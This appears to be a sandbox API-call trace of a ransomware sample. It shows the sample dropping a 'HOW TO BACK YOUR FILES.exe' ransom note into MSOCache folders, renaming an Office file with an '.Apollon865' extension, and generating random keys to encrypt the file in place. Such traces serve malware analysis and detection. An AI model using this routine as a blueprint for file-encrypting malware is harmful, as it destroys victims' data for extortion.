	[0077.389] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\DESIGNER" | out: lpString1="C:\\Program Files\\Common Files\\DESIGNER") returned="C:\\Program Files\\Common Files\\DESIGNER"
	[0077.389] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.389] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\DESIGNER\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\designer\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.393] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.393] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x463297f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x463297f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.393] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.393] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.393] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.393] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="MSADDNDR.DLL" | out: lpString1="MSADDNDR.DLL") returned="MSADDNDR.DLL"
	[0077.393] lstrlenW (lpString="MSADDNDR.DLL") returned 12
	[0077.393] lstrlenW (lpString="Apollon865") returned 10
	[0077.393] lstrcmpiW (lpString1="ADDNDR.DLL", lpString2="Apollon865") returned -1
	[0077.393] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache", iMaxLength=260 | out: lpString1="C:\\MSOCache") returned="C:\\MSOCache"
	[0077.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78a8 | out: hHeap=0x580000) returned 1
	[0077.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7888 | out: hHeap=0x580000) returned 1
	[0077.394] lstrlenW (lpString="C:\\MSOCache") returned 11
	[0077.394] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache" | out: lpString1="C:\\MSOCache") returned="C:\\MSOCache"
	[0077.394] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.394] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.398] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.398] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4634f950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4634f950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.398] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.398] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.398] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.398] lstrcpyW (in: lpString1=0x2d3e568, lpString2="All Users" | out: lpString1="All Users") returned="All Users"
	[0077.398] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users", dwFileAttributes=0x2010) returned 1
	[0077.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7888
	[0077.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2c) returned 0x5b7df0
	[0077.424] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7890 | out: ListHead=0x5b76b0, ListEntry=0x5b7890) returned 0x5b7870
	[0077.424] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users") returned="C:\\MSOCache\\All Users"
	[0077.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7df0 | out: hHeap=0x580000) returned 1
	[0077.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7888 | out: hHeap=0x580000) returned 1
	[0077.424] lstrlenW (lpString="C:\\MSOCache\\All Users") returned 21
	[0077.424] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users" | out: lpString1="C:\\MSOCache\\All Users") returned="C:\\MSOCache\\All Users"
	[0077.424] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.425] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.432] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.432] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4639bc10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4639bc10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.432] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.432] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.432] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.435] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="{90140000-0016-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C") returned="{90140000-0016-0409-1000-0000000FF1CE}-C"
	[0077.435] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1
	[0077.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7888
	[0077.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf4e0
	[0077.437] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7890 | out: ListHead=0x5b76b0, ListEntry=0x5b7890) returned 0x5b7870
	[0077.437] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="{90140000-0018-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C") returned="{90140000-0018-0409-1000-0000000FF1CE}-C"
	[0077.437] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1
	[0077.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b78a8
	[0077.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf5f0
	[0077.439] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b78b0 | out: ListHead=0x5b76b0, ListEntry=0x5b78b0) returned 0x5b7890
	[0077.439] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="{90140000-0019-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C") returned="{90140000-0019-0409-1000-0000000FF1CE}-C"
	[0077.439] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1
	[0077.441] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b78c8
	[0077.441] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf700
	[0077.441] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b78d0 | out: ListHead=0x5b76b0, ListEntry=0x5b78d0) returned 0x5b78b0
	[0077.441] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="{90140000-001A-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C") returned="{90140000-001A-0409-1000-0000000FF1CE}-C"
	[0077.441] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1
	[0077.443] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b78e8
	[0077.443] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf788
	[0077.443] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b78f0 | out: ListHead=0x5b76b0, ListEntry=0x5b78f0) returned 0x5b78d0
	[0077.443] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="{90140000-001B-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C") returned="{90140000-001B-0409-1000-0000000FF1CE}-C"
	[0077.443] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1
	[0077.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7908
	[0077.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf678
	[0077.445] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7910 | out: ListHead=0x5b76b0, ListEntry=0x5b7910) returned 0x5b78f0
	[0077.445] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="{90140000-002C-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C") returned="{90140000-002C-0409-1000-0000000FF1CE}-C"
	[0077.445] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1
	[0077.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0077.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf810
	[0077.447] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7930 | out: ListHead=0x5b76b0, ListEntry=0x5b7930) returned 0x5b7910
	[0077.447] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="{90140000-0043-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0043-0409-1000-0000000FF1CE}-C") returned="{90140000-0043-0409-1000-0000000FF1CE}-C"
	[0077.447] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1
	[0077.450] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0077.450] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf9a8
	[0077.450] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7930
	[0077.450] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="{90140000-0044-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C") returned="{90140000-0044-0409-1000-0000000FF1CE}-C"
	[0077.450] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1
	[0077.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0077.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf920
	[0077.452] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7950 | out: ListHead=0x5b76b0, ListEntry=0x5b7950) returned 0x5b7c30
	[0077.452] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="{90140000-0054-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C") returned="{90140000-0054-0409-1000-0000000FF1CE}-C"
	[0077.452] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1
	[0077.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0077.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bfa30
	[0077.452] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0077.452] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="{90140000-00A1-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C") returned="{90140000-00A1-0409-1000-0000000FF1CE}-C"
	[0077.452] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1
	[0077.453] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0077.453] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bfab8
	[0077.453] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0077.453] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="{90140000-00B4-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C") returned="{90140000-00B4-0409-1000-0000000FF1CE}-C"
	[0077.453] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1
	[0077.455] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0077.455] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bfb40
	[0077.455] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7b70
	[0077.455] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="{90140000-00BA-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C") returned="{90140000-00BA-0409-1000-0000000FF1CE}-C"
	[0077.455] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1
	[0077.455] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0077.455] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bfbc8
	[0077.455] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7ad0
	[0077.455] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="{90140000-0115-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C") returned="{90140000-0115-0409-1000-0000000FF1CE}-C"
	[0077.455] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1
	[0077.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0077.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bfc50
	[0077.456] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b10
	[0077.456] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="{90140000-0117-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C") returned="{90140000-0117-0409-1000-0000000FF1CE}-C"
	[0077.456] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1
	[0077.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0077.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bfcd8
	[0077.456] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7990
	[0077.456] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="{91140000-0011-0000-1000-0000000FF1CE}-C" | out: lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C") returned="{91140000-0011-0000-1000-0000000FF1CE}-C"
	[0077.456] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1
	[0077.457] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0077.457] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bfd60
	[0077.457] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0077.457] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="{91140000-003B-0000-1000-0000000FF1CE}-C" | out: lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C") returned="{91140000-003B-0000-1000-0000000FF1CE}-C"
	[0077.457] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1
	[0077.459] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0077.459] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bfde8
	[0077.459] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0077.459] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="{91140000-0057-0000-1000-0000000FF1CE}-C" | out: lpString1="{91140000-0057-0000-1000-0000000FF1CE}-C") returned="{91140000-0057-0000-1000-0000000FF1CE}-C"
	[0077.459] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1
	[0077.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0077.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bfe70
	[0077.461] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7cb0
	[0077.461] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C"
	[0077.461] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfe70 | out: hHeap=0x580000) returned 1
	[0077.461] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0077.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C") returned 62
	[0077.461] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C"
	[0077.462] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.462] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.468] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.468] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x463e7ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x463e7ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.468] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.468] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.468] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.468] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Office32WW.msi" | out: lpString1="Office32WW.msi") returned="Office32WW.msi"
	[0077.468] lstrlenW (lpString="Office32WW.msi") returned 14
	[0077.468] lstrlenW (lpString="Apollon865") returned 10
	[0077.468] lstrcmpiW (lpString1="ce32WW.msi", lpString2="Apollon865") returned 1
	[0077.468] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Office32WW.xml" | out: lpString1="Office32WW.xml") returned="Office32WW.xml"
	[0077.468] lstrlenW (lpString="Office32WW.xml") returned 14
	[0077.468] lstrlenW (lpString="Apollon865") returned 10
	[0077.468] lstrcmpiW (lpString1="ce32WW.xml", lpString2="Apollon865") returned 1
	[0077.468] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Apollon865") returned 88
	[0077.468] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.apollon865"), dwFlags=0x1) returned 1
	[0077.470] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0077.470] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4274) returned 1
	[0077.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0077.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfe70
	[0077.471] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfef8) returned 1
	[0077.472] CryptGenRandom (in: hProv=0x5bfef8, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0077.472] CryptReleaseContext (hProv=0x5bfef8, dwFlags=0x0) returned 1
	[0077.472] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c0, lpName=0x0) returned 0x118
	[0077.478] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13c0) returned 0x100000
	[0077.480] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfef8) returned 1
	[0077.480] CryptGenRandom (in: hProv=0x5bfef8, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0077.480] CryptReleaseContext (hProv=0x5bfef8, dwFlags=0x0) returned 1
	[0077.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0077.480] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0077.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.481] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.481] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.481] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0077.481] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.481] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0077.481] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.481] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0077.481] CloseHandle (hObject=0x118) returned 1
	[0077.481] CloseHandle (hObject=0xc0) returned 1
	[0077.481] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.481] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfe70 | out: hHeap=0x580000) returned 1
	[0077.481] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
